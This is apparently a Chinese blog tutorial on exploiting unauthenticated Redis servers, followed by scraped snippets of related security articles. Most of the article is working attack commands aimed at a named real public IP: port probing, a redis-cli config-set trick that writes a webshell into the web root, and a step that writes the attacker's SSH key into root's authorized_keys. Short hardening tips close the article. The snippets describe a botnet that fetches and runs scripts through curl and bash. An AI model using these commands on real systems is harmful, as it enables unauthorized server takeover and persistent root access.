Redis未授权漏洞

VSole2021-11-19 22:05:17

 Redis 默认情况下,会绑定在 本地6379端口,如果没有进行相关策略,会将 Redis 服务暴露到公网上,在没有设置密码认证(默认为空)的情况下,任意用户在可以访问目标服务器的情况下未授权访问Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,可以将ssh公钥写入目标服务器的 /root/.ssh/authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

    靶机是Jacky马的服务器,快到期了就没脱敏。

环境搭建

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

cd src/                       #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/       #将redis-server和redis-cli拷贝到/usr/bin目录下
cd ..                         # 返回上一级目录
cp redis.conf /etc/           #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
 # 服务启动成功。redis-server启动redis数据库服务

探测漏洞

先用 nmap 探测靶机的端口开放情况,意思一下;

Nmap -A -p 6379 --script redis-info 122.51.10.27

Redis在默认配置空口了登陆,如果其默认端口6379对外开放的话,则可以远程访问,因此默认配置下的Redis我们可以直接连接并获取敏感信息。

redis-cli -h 122.51.10.27 -p 6379

方法一:直接写shell

如果目标开启了80端口,可以直接写shell到网站目录

config set dir /var/www/html  #靶机 Web 网站的目录
config set db filename test123.php   # 写入的文件名
set webshell  ""   # shell内容
save    # 保存

shell写入成功,可以直接连接。

方法二:结合 SSH 免密码登录

所谓" 公钥登录",就是用户将自己的公钥储存在远程主机上。登录时远程主机会向用户发送一段随机字符串,用自己的私钥加密后再发回来。远程主机用事先储存的公钥进行解密,如果成功则允许直接空密码ssh登录。

①开启ssh服务

service ssh start     # 开启ssh服务
/etc/init.d/ssh status   # 查看ssh状态

②在本地生成公钥文件

ssh-keygen -trsa  

③连接 Redis 写入文件

将里面的内容写入远程的 Redis 服务器上并且设置其 Key为 test命令如下

(echo -e ""; cat /root/.ssh/id_rsa.pub; echo -e "") > test123.txt
cat test123.txt | redis-cli -h 122.51.10.27 -x set test

报错,说主机处于保护模式只允许redis本地链接,需要修改配置文件../redis.conf 需要在服务器上关闭保护模式:

再次上传,成功

登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h 122.51.10.27 -p 6379
keys *
get test
config set dir "/root/.ssh"  #保存的路径
config set dbfilename "authorized_keys"  # 保存的文件名
save  #将test里的公钥保存到/root/.ssh/authotrized_keys文件中(要有写权限)
# 最后就可以测试连接了
ssh –i  id_rsa root@122.51.10.27

修复建议:

1./etc/redis.conf 中找到 “requirepass” 字段在后面设置复杂口令

2./etc/redis.conf中配置protected-mode yes

3.更改默认端口

sshredis
本作品采用《CC 协议》,转载必须注明作者和本文链接
Scanners-Box 指引#简介#Scanners-Box是一个集合github平台上的安全行业从业人员自研开源扫描器的仓库,包括子域名枚举、数据库漏洞扫描、弱口令或信息泄漏扫描、端口扫描、指纹识别以及其他大型扫描器或模块化扫描器;该仓库只收录各位网友自己编写的一般性开源扫描器,类似nmap、w3af、brakeman等知名扫描工具不收录。
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill ├─2075 tOAK5Ejl
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
实战 | 挖矿木马排查
2023-02-22 10:05:36
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
网上安全渗透测试工具整理全集,部分链接可能失效,但可以搜索到
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
2020年9月 ,AWAKE Security的Patrick Olsen调查并报告了仅携带XMR Miner有效载荷的僵尸网络的早期版本。僵尸网络目前正在使用Weblogic漏洞进行传播。杀死正在运行的进程,潜在地争夺挖掘工具并消除EDR。shellscript xms通过curl从bash传递到bash,以防万一失败,使用wget对其进行提取,执行和删除,以防止分析。使用base64编码命令来获取并执行python脚本,以避免检测和分析。第一组下载并运行Miner二进制文件和随附的shell脚本,维护持久性并下载并运行第二组python脚本。
成功getshell后通过冰蝎上传了一个哥斯拉shell接下来就是socks5代理了,上传一个frp后发现服务端关了,事发突然并没有做什么权限维持,到手的shell飞了经过分析和思考,造成这种情况的原因是直接拿了编译好的frp没做免杀,也许内网有全流量,设备报警提醒了,管理员发现异常后直接关机了。
这是本系列第三篇文章,依旧是某省HVV红队的经历。 过程中只用到很简单的方法,所以加了个标题“有手就行”。 这家企业在内网犯了几乎所有能犯的错误,打起来也比较顺利,只不过当时被管理员发现了,争分夺秒的过程也比较有趣哈哈。
VSole
网络安全专家